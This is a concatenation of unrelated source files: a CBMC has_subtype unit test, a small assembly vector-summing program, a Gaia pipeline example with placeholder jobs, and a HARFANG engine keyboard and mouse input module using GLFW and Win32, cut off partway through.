#include <util/c_types.h>
#include <util/expr_util.h>
#include <util/namespace.h>
#include <util/symbol_table.h>
#include <java_bytecode/java_types.h>
// Curryfied version of type comparison.
// Useful for the predicate argument of has_subtype
static std::function<bool(const typet &)> is_type(const typet &t1)
{
auto f = [&](const typet &t2) { return t1 == t2; };
return f;
}
SCENARIO("has_subtype", "[core][utils][has_subtype]")
{
symbol_tablet symbol_table;
const namespacet ns(symbol_table);
const typet char_type = java_char_type();
const typet int_type = java_int_type();
const typet bool_type = java_boolean_type();
REQUIRE(has_subtype(char_type, is_type(char_type), ns));
REQUIRE_FALSE(has_subtype(char_type, is_type(int_type), ns));
GIVEN("a struct with char and int fields")
{
struct_typet struct_type;
struct_type.components().emplace_back("char_field", char_type);
struct_type.components().emplace_back("int_field", int_type);
THEN("char and int are subtypes")
{
REQUIRE(has_subtype(struct_type, is_type(char_type), ns));
REQUIRE(has_subtype(struct_type, is_type(int_type), ns));
}
THEN("bool is not a subtype")
{
REQUIRE_FALSE(has_subtype(struct_type, is_type(bool_type), ns));
}
}
GIVEN("a pointer to char")
{
pointer_typet ptr_type = pointer_type(char_type);
THEN("char is a subtype")
{
REQUIRE(has_subtype(ptr_type, is_type(char_type), ns));
}
THEN("int is not a subtype")
{
REQUIRE_FALSE(has_subtype(ptr_type, is_type(int_type), ns));
}
}
GIVEN("a recursive struct definition")
{
symbol_typet symbol_type("A-struct");
struct_typet::componentt comp("ptr", pointer_type(symbol_type));
struct_typet struct_type;
struct_type.components().push_back(comp);
symbolt s;
s.type = struct_type;
s.name = "A-struct";
s.is_type = true;
symbol_table.add(s);
THEN("has_subtype terminates")
{
REQUIRE_FALSE(
has_subtype(struct_type, [&](const typet &t) { return false; }, ns));
}
THEN("symbol type is a subtype")
{
REQUIRE(has_subtype(struct_type, is_type(pointer_type(symbol_type)), ns));
}
THEN("struct type is a subtype")
{
REQUIRE(has_subtype(struct_type, is_type(struct_type), ns));
}
}
}
|
ORG 100
LDA LEN_V1
STA N
LDA HV1
STA CUR
BSA SUMV
LDA RIS
INC
STA RIS
LDA LEN_V2
STA N
LDA HV2
STA CUR
BSA SUMV
HLT
RIS, OUT
OUT, DEC 0
DEC 0
// -------------------------
SUMV, DEC 0
CICLO, LDA N
SNA
BUN FINE
LDA RIS I
ADD CUR I
STA RIS I
LDA CUR
INC
STA CUR
BSA INCN
BUN CICLO
FINE, BUN SUMV I
N, DEC 0 // LEN VEC
CUR, DEC 0 // PUN
// -------------------------
INCN, DEC 0
LDA N
INC
STA N
BUN INCN I
V1, DEC 1
DEC 4
DEC 5
LEN_V1, DEC -3
HV1, V1
V2, DEC 1
DEC 4
DEC 5
DEC 6
DEC -6
LEN_V2, DEC -5
HV2, V2
END |
#include "cppsdk/sdk.h"
#include <list>
#include <iostream>
#include <chrono>
#include <thread>
using std::list;
using std::cerr;
using std::endl;
using gaia::argument;
using gaia::job;
void CreateUser(list<argument> args) throw(string) {
cerr << "CreateUser has been started!" << endl;
// Print arguments
for (auto const& arg : args) {
cerr << "Key: " << arg.key << "; Value: " << arg.value << ";" << endl;
}
// lets sleep to simulate that we do something
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
cerr << "CreateUser has been finished!" << endl;
}
void MigrateDB(list<argument> args) throw(string) {
cerr << "MigrateDB has been started!" << endl;
// Print arguments
for (auto const& arg : args) {
cerr << "Key: " << arg.key << "; Value: " << arg.value << ";" << endl;
}
// lets sleep to simulate that we do something
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
cerr << "MigrateDB has been finished!" << endl;
}
void CreateNamespace(list<argument> args) throw(string) {
cerr << "CreateNamespace has been started!" << endl;
// lets sleep to simulate that we do something
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
cerr << "CreateNamespace has been finished!" << endl;
}
void CreateDeployment(list<argument> args) throw(string) {
cerr << "CreateDeployment has been started!" << endl;
// lets sleep to simulate that we do something
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
cerr << "CreateDeployment has been finished!" << endl;
}
void CreateService(list<argument> args) throw(string) {
cerr << "CreateService has been started!" << endl;
// lets sleep to simulate that we do something
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
cerr << "CreateService has been finished!" << endl;
}
void CreateIngress(list<argument> args) throw(string) {
cerr << "CreateIngress has been started!" << endl;
// lets sleep to simulate that we do something
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
cerr << "CreateIngress has been finished!" << endl;
}
void Cleanup(list<argument> args) throw(string) {
cerr << "Cleanup has been started!" << endl;
// lets sleep to simulate that we do something
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
cerr << "Cleanup has been finished!" << endl;
}
int main() {
list<job> jobs;
job createuser;
createuser.handler = &CreateUser;
createuser.title = "Create DB User";
createuser.description = "Create DB User with least privileged permissions.";
createuser.args.push_back(argument{
"Username for db schema:",
gaia::InputType::input_type::textfield,
"username",
});
job migratedb;
migratedb.handler = &MigrateDB;
migratedb.title = "DB Migration";
migratedb.description = "Imports newest test data dump and migrates to newest version.";
migratedb.depends_on.push_back("Create DB User");
migratedb.args.push_back(argument{
"not important",
gaia::InputType::input_type::vault,
"dbpassword",
});
job createnamespace;
createnamespace.handler = &CreateNamespace;
createnamespace.title = "Create K8S Namespace";
createnamespace.description = "Create a new Kubernetes namespace for the new test environment.";
createnamespace.depends_on.push_back("DB Migration");
job createdeployment;
createdeployment.handler = &CreateDeployment;
createdeployment.title = "Create K8S Deployment";
createdeployment.description = "Create a new Kubernetes deployment for the new test environment.";
createdeployment.depends_on.push_back("Create K8S Namespace");
job createservice;
createservice.handler = &CreateService;
createservice.title = "Create K8S Service";
createservice.description = "Create a new Kubernetes service for the new test environment.";
createservice.depends_on.push_back("Create K8S Namespace");
job createingress;
createingress.handler = &CreateIngress;
createingress.title = "Create K8S Ingress";
createingress.description = "Create a new Kubernetes ingress for the new test environment.";
createingress.depends_on.push_back("Create K8S namespace");
job cleanup;
cleanup.handler = &Cleanup;
cleanup.title = "Clean up";
cleanup.description = "Removes all temporary files.";
cleanup.depends_on.push_back("Create K8S Deployment");
cleanup.depends_on.push_back("Create K8S Service");
cleanup.depends_on.push_back("Create K8S Ingress");
jobs.push_back(createuser);
jobs.push_back(migratedb);
jobs.push_back(createnamespace);
jobs.push_back(createdeployment);
jobs.push_back(createservice);
jobs.push_back(createingress);
jobs.push_back(cleanup);
// Serve
try {
gaia::Serve(jobs);
} catch (string e) {
std::cout << "Error: " << e << std::endl;
}
}
|
// HARFANG(R) Copyright (C) 2021 Emmanuel Julien, NWNC HARFANG. Released under GPL/LGPL/Commercial Licence, see licence.txt for details.
#include "platform/input_system.h"
#include "foundation/utf8.h"
#include "platform/glfw/window_system.h"
#include "platform/window_system.h"
#include <GLFW/glfw3.h>
#ifdef WIN32
#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#endif
#include <map>
namespace hg {
static double wheel = 0, hwheel = 0;
static int inhibit_click = 0;
static MouseState ReadMouse() {
int w, h;
auto win = GetWindowInFocus();
if (!GetWindowClientSize(win, w, h)) {
inhibit_click = 3;
return {};
}
auto glfw_win = GetGLFWWindow(win);
if (!glfw_win) {
inhibit_click = 3;
return {};
}
double x, y;
glfwGetCursorPos(glfw_win, &x, &y);
y = double(h) - y;
MouseState state;
state.x = int(x);
state.y = int(y);
state.button.reset();
for (auto i = 0; i < 8; ++i)
state.button[i] = glfwGetMouseButton(glfw_win, i) == GLFW_PRESS && inhibit_click == 0;
if (inhibit_click > 0)
--inhibit_click;
state.wheel = int(wheel);
state.hwheel = int(hwheel);
wheel = 0;
hwheel = 0;
return state;
}
static KeyboardState ReadKeyboard() {
auto glfw_win = GetGLFWWindow(GetWindowInFocus());
if (!glfw_win)
return {};
KeyboardState state;
state.key[K_LShift] = glfwGetKey(glfw_win, GLFW_KEY_LEFT_SHIFT);
state.key[K_RShift] = glfwGetKey(glfw_win, GLFW_KEY_RIGHT_SHIFT);
state.key[K_LCtrl] = glfwGetKey(glfw_win, GLFW_KEY_LEFT_CONTROL);
state.key[K_RCtrl] = glfwGetKey(glfw_win, GLFW_KEY_RIGHT_CONTROL);
state.key[K_LAlt] = glfwGetKey(glfw_win, GLFW_KEY_LEFT_ALT);
state.key[K_RAlt] = glfwGetKey(glfw_win, GLFW_KEY_RIGHT_ALT);
state.key[K_LWin] = glfwGetKey(glfw_win, GLFW_KEY_LEFT_SUPER);
state.key[K_RWin] = glfwGetKey(glfw_win, GLFW_KEY_RIGHT_SUPER);
state.key[K_Tab] = glfwGetKey(glfw_win, GLFW_KEY_TAB);
state.key[K_CapsLock] = glfwGetKey(glfw_win, GLFW_KEY_CAPS_LOCK);
state.key[K_Space] = glfwGetKey(glfw_win, GLFW_KEY_SPACE);
state.key[K_Backspace] = glfwGetKey(glfw_win, GLFW_KEY_BACKSPACE);
state.key[K_Insert] = glfwGetKey(glfw_win, GLFW_KEY_INSERT);
state.key[K_Suppr] = glfwGetKey(glfw_win, GLFW_KEY_DELETE);
state.key[K_Home] = glfwGetKey(glfw_win, GLFW_KEY_HOME);
state.key[K_End] = glfwGetKey(glfw_win, GLFW_KEY_END);
state.key[K_PageUp] = glfwGetKey(glfw_win, GLFW_KEY_PAGE_UP);
state.key[K_PageDown] = glfwGetKey(glfw_win, GLFW_KEY_PAGE_DOWN);
state.key[K_Up] = glfwGetKey(glfw_win, GLFW_KEY_UP);
state.key[K_Down] = glfwGetKey(glfw_win, GLFW_KEY_DOWN);
state.key[K_Left] = glfwGetKey(glfw_win, GLFW_KEY_LEFT);
state.key[K_Right] = glfwGetKey(glfw_win, GLFW_KEY_RIGHT);
state.key[K_Escape] = glfwGetKey(glfw_win, GLFW_KEY_ESCAPE);
state.key[K_F1] = glfwGetKey(glfw_win, GLFW_KEY_F1);
state.key[K_F2] = glfwGetKey(glfw_win, GLFW_KEY_F2);
state.key[K_F3] = glfwGetKey(glfw_win, GLFW_KEY_F3);
state.key[K_F4] = glfwGetKey(glfw_win, GLFW_KEY_F4);
state.key[K_F5] = glfwGetKey(glfw_win, GLFW_KEY_F5);
state.key[K_F6] = glfwGetKey(glfw_win, GLFW_KEY_F6);
state.key[K_F7] = glfwGetKey(glfw_win, GLFW_KEY_F7);
state.key[K_F8] = glfwGetKey(glfw_win, GLFW_KEY_F8);
state.key[K_F9] = glfwGetKey(glfw_win, GLFW_KEY_F9);
state.key[K_F10] = glfwGetKey(glfw_win, GLFW_KEY_F10);
state.key[K_F11] = glfwGetKey(glfw_win, GLFW_KEY_F11);
state.key[K_F12] = glfwGetKey(glfw_win, GLFW_KEY_F12);
state.key[K_PrintScreen] = glfwGetKey(glfw_win, GLFW_KEY_PRINT_SCREEN);
state.key[K_ScrollLock] = glfwGetKey(glfw_win, GLFW_KEY_SCROLL_LOCK);
state.key[K_Pause] = glfwGetKey(glfw_win, GLFW_KEY_PAUSE);
state.key[K_NumLock] = glfwGetKey(glfw_win, GLFW_KEY_NUM_LOCK);
state.key[K_Return] = glfwGetKey(glfw_win, GLFW_KEY_ENTER);
state.key[K_0] = glfwGetKey(glfw_win, GLFW_KEY_0);
state.key[K_1] = glfwGetKey(glfw_win, GLFW_KEY_1);
state.key[K_2] = glfwGetKey(glfw_win, GLFW_KEY_2);
state.key[K_3] = glfwGetKey(glfw_win, GLFW_KEY_3);
state.key[K_4] = glfwGetKey(glfw_win, GLFW_KEY_4);
state.key[K_5] = glfwGetKey(glfw_win, GLFW_KEY_5);
state.key[K_6] = glfwGetKey(glfw_win, GLFW_KEY_6);
state.key[K_7] = glfwGetKey(glfw_win, GLFW_KEY_7);
state.key[K_8] = glfwGetKey(glfw_win, GLFW_KEY_8);
state.key[K_9] = glfwGetKey(glfw_win, GLFW_KEY_9);
state.key[K_Numpad0] = glfwGetKey(glfw_win, GLFW_KEY_KP_0);
state.key[K_Numpad1] = glfwGetKey(glfw_win, GLFW_KEY_KP_1);
state.key[K_Numpad2] = glfwGetKey(glfw_win, GLFW_KEY_KP_2);
state.key[K_Numpad3] = glfwGetKey(glfw_win, GLFW_KEY_KP_3);
state.key[K_Numpad4] = glfwGetKey(glfw_win, GLFW_KEY_KP_4);
state.key[K_Numpad5] = glfwGetKey(glfw_win, GLFW_KEY_KP_5);
state.key[K_Numpad6] = glfwGetKey(glfw_win, GLFW_KEY_KP_6);
state.key[K_Numpad7] = glfwGetKey(glfw_win, GLFW_KEY_KP_7);
state.key[K_Numpad8] = glfwGetKey(glfw_win, GLFW_KEY_KP_8);
state.key[K_Numpad9] = glfwGetKey(glfw_win, GLFW_KEY_KP_9);
state.key[K_Add] = glfwGetKey(glfw_win, GLFW_KEY_KP_ADD);
state.key[K_Sub] = glfwGetKey(glfw_win, GLFW_KEY_KP_SUBTRACT);
state.key[K_Mul] = glfwGetKey(glfw_win, GLFW_KEY_KP_MULTIPLY);
state.key[K_Div] = glfwGetKey(glfw_win, GLFW_KEY_KP_DIVIDE);
state.key[K_Enter] = glfwGetKey(glfw_win, GLFW_KEY_KP_ENTER);
state.key[K_A] = glfwGetKey(glfw_win, GLFW_KEY_A);
state.key[K_B] = glfwGetKey(glfw_win, GLFW_KEY_B);
state.key[K_C] = glfwGetKey(glfw_win, GLFW_KEY_C);
state.key[K_D] = glfwGetKey(glfw_win, GLFW_KEY_D);
state.key[K_E] = glfwGetKey(glfw_win, GLFW_KEY_E);
state.key[K_F] = glfwGetKey(glfw_win, GLFW_KEY_F);
state.key[K_G] = glfwGetKey(glfw_win, GLFW_KEY_G);
state.key[K_H] = glfwGetKey(glfw_win, GLFW_KEY_H);
state.key[K_I] = glfwGetKey(glfw_win, GLFW_KEY_I);
state.key[K_J] = glfwGetKey(glfw_win, GLFW_KEY_J);
state.key[K_K] = glfwGetKey(glfw_win, GLFW_KEY_K);
state.key[K_L] = glfwGetKey(glfw_win, GLFW_KEY_L);
state.key[K_M] = glfwGetKey(glfw_win, GLFW_KEY_M);
state.key[K_N] = glfwGetKey(glfw_win, GLFW_KEY_N);
state.key[K_O] = glfwGetKey(glfw_win, GLFW_KEY_O);
state.key[K_P] = glfwGetKey(glfw_win, GLFW_KEY_P);
state.key[K_Q] = glfwGetKey(glfw_win, GLFW_KEY_Q);
state.key[K_R] = glfwGetKey(glfw_win, GLFW_KEY_R);
state.key[K_S] = glfwGetKey(glfw_win, GLFW_KEY_S);
state.key[K_T] = glfwGetKey(glfw_win, GLFW_KEY_T);
state.key[K_U] = glfwGetKey(glfw_win, GLFW_KEY_U);
state.key[K_V] = glfwGetKey(glfw_win, GLFW_KEY_V);
state.key[K_W] = glfwGetKey(glfw_win, GLFW_KEY_W);
state.key[K_X] = glfwGetKey(glfw_win, GLFW_KEY_X);
state.key[K_Y] = glfwGetKey(glfw_win, GLFW_KEY_Y);
state.key[K_Z] = glfwGetKey(glfw_win, GLFW_KEY_Z);
state.key[K_Plus] = glfwGetKey(glfw_win, GLFW_KEY_EQUAL);
state.key[K_Comma] = glfwGetKey(glfw_win, GLFW_KEY_COMMA);
state.key[K_Minus] = glfwGetKey(glfw_win, GLFW_KEY_MINUS);
state.key[K_Period] = glfwGetKey(glfw_win, GLFW_KEY_PERIOD);
return state;
}
static const char *GetKeyName(Key key) {
static std::map<Key, int> key_to_glfw = {
{K_LShift, GLFW_KEY_LEFT_SHIFT},
{K_RShift, GLFW_KEY_RIGHT_SHIFT},
{K_LCtrl, GLFW_KEY_LEFT_CONTROL},
{K_RCtrl, GLFW_KEY_RIGHT_CONTROL},
{K_LAlt, GLFW_KEY_LEFT_ALT},
{K_RAlt, GLFW_KEY_RIGHT_ALT},
{K_LWin, GLFW_KEY_LEFT_SUPER},
{K_RWin, GLFW_KEY_RIGHT_SUPER},
{K_Tab, GLFW_KEY_TAB},
{K_CapsLock, GLFW_KEY_CAPS_LOCK},
{K_Space, GLFW_KEY_SPACE},
{K_Backspace, GLFW_KEY_BACKSPACE},
{K_Insert, GLFW_KEY_INSERT},
{K_Suppr, GLFW_KEY_DELETE},
{K_Home, GLFW_KEY_HOME},
{K_End, GLFW_KEY_END},
{K_PageUp, GLFW_KEY_PAGE_UP},
{K_PageDown, GLFW_KEY_PAGE_DOWN},
{K_Up, GLFW_KEY_UP},
{K_Down, GLFW_KEY_DOWN},
{K_Left, GLFW_KEY_LEFT},
{K_Right, GLFW_KEY_RIGHT},
{K_Escape, GLFW_KEY_ESCAPE},
{K_F1, GLFW_KEY_F1},
{K_F2, GLFW_KEY_F2},
{K_F3, GLFW_KEY_F3},
{K_F4, GLFW_KEY_F4},
{K_F5, GLFW_KEY_F5},
{K_F6, GLFW_KEY_F6},
{K_F7, GLFW_KEY_F7},
{K_F8, GLFW_KEY_F8},
{K_F9, GLFW_KEY_F9},
{K_F10, GLFW_KEY_F10},
{K_F11, GLFW_KEY_F11},
{K_F12, GLFW_KEY_F12},
{K_PrintScreen, GLFW_KEY_PRINT_SCREEN},
{K_ScrollLock, GLFW_KEY_SCROLL_LOCK},
{K_Pause, GLFW_KEY_PAUSE},
{K_NumLock, GLFW_KEY_NUM_LOCK},
{K_Return, GLFW_KEY_ENTER},
{K_0, GLFW_KEY_0},
{K_1, GLFW_KEY_1},
{K_2, GLFW_KEY_2},
{K_3, GLFW_KEY_3},
{K_4, GLFW_KEY_4},
{K_5, GLFW_KEY_5},
{K_6, GLFW_KEY_6},
{K_7, GLFW_KEY_7},
{K_8, GLFW_KEY_8},
{K_9, GLFW_KEY_9},
{K_Numpad0, GLFW_KEY_KP_0},
{K_Numpad1, GLFW_KEY_KP_1},
{K_Numpad2, GLFW_KEY_KP_2},
{K_Numpad3, GLFW_KEY_KP_3},
{K_Numpad4, GLFW_KEY_KP_4},
{K_Numpad5, GLFW_KEY_KP_5},
{K_Numpad6, GLFW_KEY_KP_6},
{K_Numpad7, GLFW_KEY_KP_7},
{K_Numpad8, GLFW_KEY_KP_8},
{K_Numpad9, GLFW_KEY_KP_9},
{K_Add, GLFW_KEY_KP_ADD},
{K_Sub, GLFW_KEY_KP_SUBTRACT},
{K_Mul, GLFW_KEY_KP_MULTIPLY},
{K_Div, GLFW_KEY_KP_DIVIDE},
{K_Enter, GLFW_KEY_KP_ENTER},
{K_A, GLFW_KEY_A},
{K_B, GLFW_KEY_B},
{K_C, GLFW_KEY_C},
{K_D, GLFW_KEY_D},
{K_E, GLFW_KEY_E},
{K_F, GLFW_KEY_F},
{K_G, GLFW_KEY_G},
{K_H, GLFW_KEY_H},
{K_I, GLFW_KEY_I},
{K_J, GLFW_KEY_J},
{K_K, GLFW_KEY_K},
{K_L, GLFW_KEY_L},
{K_M, GLFW_KEY_M},
{K_N, GLFW_KEY_N},
{K_O, GLFW_KEY_O},
{K_P, GLFW_KEY_P},
{K_Q, GLFW_KEY_Q},
{K_R, GLFW_KEY_R},
{K_S, GLFW_KEY_S},
{K_T, GLFW_KEY_T},
{K_U, GLFW_KEY_U},
{K_V, GLFW_KEY_V},
{K_W, GLFW_KEY_W},
{K_X, GLFW_KEY_X},
{K_Y, GLFW_KEY_Y},
{K_Z, GLFW_KEY_Z},
{K_Plus, GLFW_KEY_EQUAL},
{K_Comma, GLFW_KEY_COMMA},
{K_Minus, GLFW_KEY_MINUS},
{K_Period, GLFW_KEY_PERIOD},
};
const auto i = key_to_glfw.find(key);
if (i != std::end(key_to_glfw))
return glfwGetKeyName(i->second, -1);
return nullptr;
}
static void ScrollCallback(GLFWwindow *w, double xoffset, double yoffset) {
hwheel += xoffset;
wheel += yoffset;
}
static void CharCallback(GLFWwindow *w, unsigned int codepoint) {
if (on_text_input) {
utf8_cp utf8[16]{};
utf32_to_utf8(codepoint, utf8);
on_text_input(reinterpret_cast<const char *>(utf8));
}
}
static void OnNewWindow(const Window *win) {
auto glfw_window = GetGLFWWindow(win);
glfwSetScrollCallback(glfw_window, ScrollCallback);
glfwSetCharCallback(glfw_window, CharCallback);
}
//
#if WIN32
static MouseState ReadRawMouse() {
MouseState state;
POINT pos;
if (GetCursorPos(&pos)) {
state.x = pos.x;
state.y = pos.y;
}
state.button[MB_0] = GetAsyncKeyState(VK_LBUTTON) & 0x8000 ? true : false;
state.button[MB_1] = GetAsyncKeyState(VK_RBUTTON) & 0x8000 ? true : false;
state.button[MB_2] = GetAsyncKeyState(VK_MBUTTON) & 0x8000 ? true : false;
return state;
}
//
static KeyboardState ReadRawKeyboard() {
KeyboardState state;
state.key[K_LShift] = bool(GetAsyncKeyState(VK_LSHIFT) & 0x8000);
state.key[K_RShift] = bool(GetAsyncKeyState(VK_RSHIFT) & 0x8000);
state.key[K_LCtrl] = bool(GetAsyncKeyState(VK_LCONTROL) & 0x8000);
state.key[K_RCtrl] = bool(GetAsyncKeyState(VK_RCONTROL) & 0x8000);
state.key[K_LAlt] = bool(GetAsyncKeyState(VK_LMENU) & 0x8000);
state.key[K_RAlt] = bool(GetAsyncKeyState(VK_RMENU) & 0x8000);
state.key[K_LWin] = bool(GetAsyncKeyState(VK_LWIN) & 0x8000);
state.key[K_RWin] = bool(GetAsyncKeyState(VK_RWIN) & 0x8000);
state.key[K_Tab] = bool(GetAsyncKeyState(VK_TAB) & 0x8000);
state.key[K_CapsLock] = bool(GetAsyncKeyState(VK_CAPITAL) & 0x8000);
state.key[K_Space] = bool(GetAsyncKeyState(VK_SPACE) & 0x8000);
state.key[K_Backspace] = bool(GetAsyncKeyState(VK_BACK) & 0x8000);
state.key[K_Insert] = bool(GetAsyncKeyState(VK_INSERT) & 0x8000);
state.key[K_Suppr] = bool(GetAsyncKeyState(VK_DELETE) & 0x8000);
state.key[K_Home] = bool(GetAsyncKeyState(VK_HOME) & 0x8000);
state.key[K_End] = bool(GetAsyncKeyState(VK_END) & 0x8000);
state.key[K_PageUp] = bool(GetAsyncKeyState(VK_PRIOR) & 0x8000);
state.key[K_PageDown] = bool(GetAsyncKeyState(VK_NEXT) & 0x8000);
state.key[K_Up] = bool(GetAsyncKeyState(VK_UP) & 0x8000);
state.key[K_Down] = bool(GetAsyncKeyState(VK_DOWN) & 0x8000);
state.key[K_Left] = bool(GetAsyncKeyState(VK_LEFT) & 0x8000);
state.key[K_Right] = bool(GetAsyncKeyState(VK_RIGHT) & 0x8000);
state.key[K_Escape] = bool(GetAsyncKeyState(VK_ESCAPE) & 0x8000);
state.key[K_F1] = bool(GetAsyncKeyState(VK_F1) & 0x8000);
state.key[K_F2] = bool(GetAsyncKeyState(VK_F2) & 0x8000);
state.key[K_F3] = bool(GetAsyncKeyState(VK_F3) & 0x8000);
state.key[K_F4] = bool(GetAsyncKeyState(VK_F4) & 0x8000);
state.key[K_F5] = bool(GetAsyncKeyState(VK_F5) & 0x8000);
state.key[K_F6] = bool(GetAsyncKeyState(VK_F6) & 0x8000);
state.key[K_F7] = bool(GetAsyncKeyState(VK_F7) & 0x8000);
state.key[K_F8] = bool(GetAsyncKeyState(VK_F8) & 0x8000);
state.key[K_F9] = bool(GetAsyncKeyState(VK_F9) & 0x8000);
state.key[K_F10] = bool(GetAsyncKeyState(VK_F10) & 0x8000);
state.key[K_F11] = bool(GetAsyncKeyState(VK_F11) & 0x8000);
state.key[K_F12] = bool(GetAsyncKeyState(VK_F12) & 0x8000);
state.key[K_PrintScreen] = bool(GetAsyncKeyState(VK_PRINT) & 0x8000);
state.key[K_ScrollLock] = bool(GetAsyncKeyState(VK_SCROLL) & 0x8000);
state.key[K_Pause] = bool(GetAsyncKeyState(VK_PAUSE) & 0x8000);
state.key[K_NumLock] = bool(GetAsyncKeyState(VK_NUMLOCK) & 0x8000);
state.key[K_Return] = bool(GetAsyncKeyState(VK_RETURN) & 0x8000);
state.key[K_0] = bool(GetAsyncKeyState(0x30) & 0x8000);
state.key[K_1] = bool(GetAsyncKeyState(0x31) & 0x8000);
state.key[K_2] = bool(GetAsyncKeyState(0x32) & 0x8000);
state.key[K_3] = bool(GetAsyncKeyState(0x33) & 0x8000);
state.key[K_4] = bool(GetAsyncKeyState(0x34) & 0x8000);
state.key[K_5] = bool(GetAsyncKeyState(0x35) & 0x8000);
state.key[K_6] = bool(GetAsyncKeyState(0x36) & 0x8000);
state.key[K_7] = bool(GetAsyncKeyState(0x37) & 0x8000);
state.key[K_8] = bool(GetAsyncKeyState(0x38) & 0x8000);
state.key[K_9] = bool(GetAsyncKeyState(0x39) & 0x8000);
state.key[K_Numpad0] = bool(GetAsyncKeyState(VK_NUMPAD0) & 0x8000);
state.key[K_Numpad1] = bool(GetAsyncKeyState(VK_NUMPAD1) & 0x8000);
state.key[K_Numpad2] = bool(GetAsyncKeyState(VK_NUMPAD2) & 0x8000);
state.key[K_Numpad3] = bool(GetAsyncKeyState(VK_NUMPAD3) & 0x8000);
state.key[K_Numpad4] = bool(GetAsyncKeyState(VK_NUMPAD4) & 0x8000);
state.key[K_Numpad5] = bool(GetAsyncKeyState(VK_NUMPAD5) & 0x8000);
state.key[K_Numpad6] = bool(GetAsyncKeyState(VK_NUMPAD6) & 0x8000);
state.key[K_Numpad7] = bool(GetAsyncKeyState(VK_NUMPAD7) & 0x8000);
state.key[K_Numpad8] = bool(GetAsyncKeyState(VK_NUMPAD8) & 0x8000);
state.key[K_Numpad9] = bool(GetAsyncKeyState(VK_NUMPAD9) & 0x8000);
state.key[K_Add] = bool(GetAsyncKeyState(VK_ADD) & 0x8000);
state.key[K_Sub] = bool(GetAsyncKeyState(VK_SUBTRACT) & 0x8000);
state.key[K_Mul] = bool(GetAsyncKeyState(VK_MULTIPLY) & 0x8000);
state.key[K_Div] = bool(GetAsyncKeyState(VK_DIVIDE) & 0x8000);
state.key[K_Enter] = bool(GetAsyncKeyState(VK_RETURN) & 0x8000);
state.key[K_A] = bool(GetAsyncKeyState(0x41) & 0x8000);
state.key[K_B] = bool(GetAsyncKeyState(0x42) & 0x8000);
state.key[K_C] = bool(GetAsyncKeyState(0x43) & 0x8000);
state.key[K_D] = bool(GetAsyncKeyState(0x44) & 0x8000);
state.key[K_E] = bool(GetAsyncKeyState(0x45) & 0x8000);
state.key[K_F] = bool(GetAsyncKeyState(0x46) & 0x8000);
state.key[K_G] = bool(GetAsyncKeyState(0x47) & 0x8000);
state.key[K_H] = bool(GetAsyncKeyState(0x48) & 0x8000);
state.key[K_I] = bool(GetAsyncKeyState(0x49) & 0x8000);
state.key[K_J] = bool(GetAsyncKeyState(0x4a) & 0x8000);
state.key[K_K] = bool(GetAsyncKeyState(0x4b) & 0x8000);
state.key[K_L] = bool(GetAsyncKeyState(0x4c) & 0x8000);
state.key[K_M] = bool(GetAsyncKeyState(0x4d) & 0x8000);
state.key[K_N] = bool(GetAsyncKeyState(0x4e) & 0x8000);
state.key[K_O] = bool(GetAsyncKeyState(0x4f) & 0x8000);
state.key[K_P] = bool(GetAsyncKeyState(0x50) & 0x8000);
state.key[K_Q] = bool(GetAsyncKeyState(0x51) & 0x8000);
state.key[K_R] = bool(GetAsyncKeyState(0x52) & 0x8000);
state.key[K_S] = bool(GetAsyncKeyState(0x53) & 0x8000);
state.key[K_T] = bool(GetAsyncKeyState(0x54) & 0x8000);
state.key[K_U] = bool(GetAsyncKeyState(0x55) & 0x8000);
state.key[K_V] = bool(GetAsyncKeyState(0x56) & 0x8000);
state.key[K_W] = bool(GetAsyncKeyState(0x57) & 0x8000);
state.key[K_X] = bool(GetAsyncKeyState(0x58) & 0x8000);
state.key[K_Y] = bool(GetAsyncKeyState(0x59) & 0x8000);
state.key[K_Z] = bool(GetAsyncKeyState(0x5a) & 0x8000);
state.key[K_Plus] = bool(GetAsyncKeyState(VK_OEM_PLUS) & 0x8000);
state.key[K_Comma] = bool(GetAsyncKeyState(VK_OEM_COMMA) & 0x8000);
state.key[K_Minus] = bool(GetAsyncKeyState(VK_OEM_MINUS) & 0x8000);
state.key[K_Period] = bool(GetAsyncKeyState(VK_OEM_PERIOD) & 0x8000);
state.key[K_OEM1] = bool(GetAsyncKeyState(VK_OEM_1) & 0x8000);
state.key[K_OEM2] = bool(GetAsyncKeyState(VK_OEM_2) & 0x8000);
state.key[K_OEM3] = bool(GetAsyncKeyState(VK_OEM_3) & 0x8000);
state.key[K_OEM4] = bool(GetAsyncKeyState(VK_OEM_4) & 0x8000);
state.key[K_OEM5] = bool(GetAsyncKeyState(VK_OEM_5) & 0x8000);
state.key[K_OEM6] = bool(GetAsyncKeyState(VK_OEM_6) & 0x8000);
state.key[K_OEM7] = bool(GetAsyncKeyState(VK_OEM_7) & 0x8000);
state.key[K_OEM8] = bool(GetAsyncKeyState(VK_OEM_8) & 0x8000);
state.key[K_BrowserBack] = bool(GetAsyncKeyState(VK_BROWSER_BACK) & 0x8000);
state.key[K_BrowserForward] = bool(GetAsyncKeyState(VK_BROWSER_FORWARD) & 0x8000);
state.key[K_BrowserRefresh] = bool(GetAsyncKeyState(VK_BROWSER_REFRESH) & 0x8000);
state.key[K_BrowserStop] = bool(GetAsyncKeyState(VK_BROWSER_STOP) & 0x8000);
state.key[K_BrowserSearch] = bool(GetAsyncKeyState(VK_BROWSER_SEARCH) & 0x8000);
state.key[K_BrowserFavorites] = bool(GetAsyncKeyState(VK_BROWSER_FAVORITES) & 0x8000);
state.key[K_BrowserHome] = bool(GetAsyncKeyState(VK_BROWSER_HOME) & 0x8000);
state.key[K_VolumeMute] = bool(GetAsyncKeyState(VK_VOLUME_MUTE) & 0x8000);
state.key[K_VolumeDown] = bool(GetAsyncKeyState(VK_VOLUME_DOWN) & 0x8000);
state.key[K_VolumeUp] = bool(GetAsyncKeyState(VK_VOLUME_UP) & 0x8000);
state.key[K_MediaNextTrack] = bool(GetAsyncKeyState(VK_MEDIA_NEXT_TRACK) & 0x8000);
state.key[K_MediaPrevTrack] = bool(GetAsyncKeyState(VK_MEDIA_PREV_TRACK) & 0x8000);
state.key[K_MediaStop] = bool(GetAsyncKeyState(VK_MEDIA_STOP) & 0x8000);
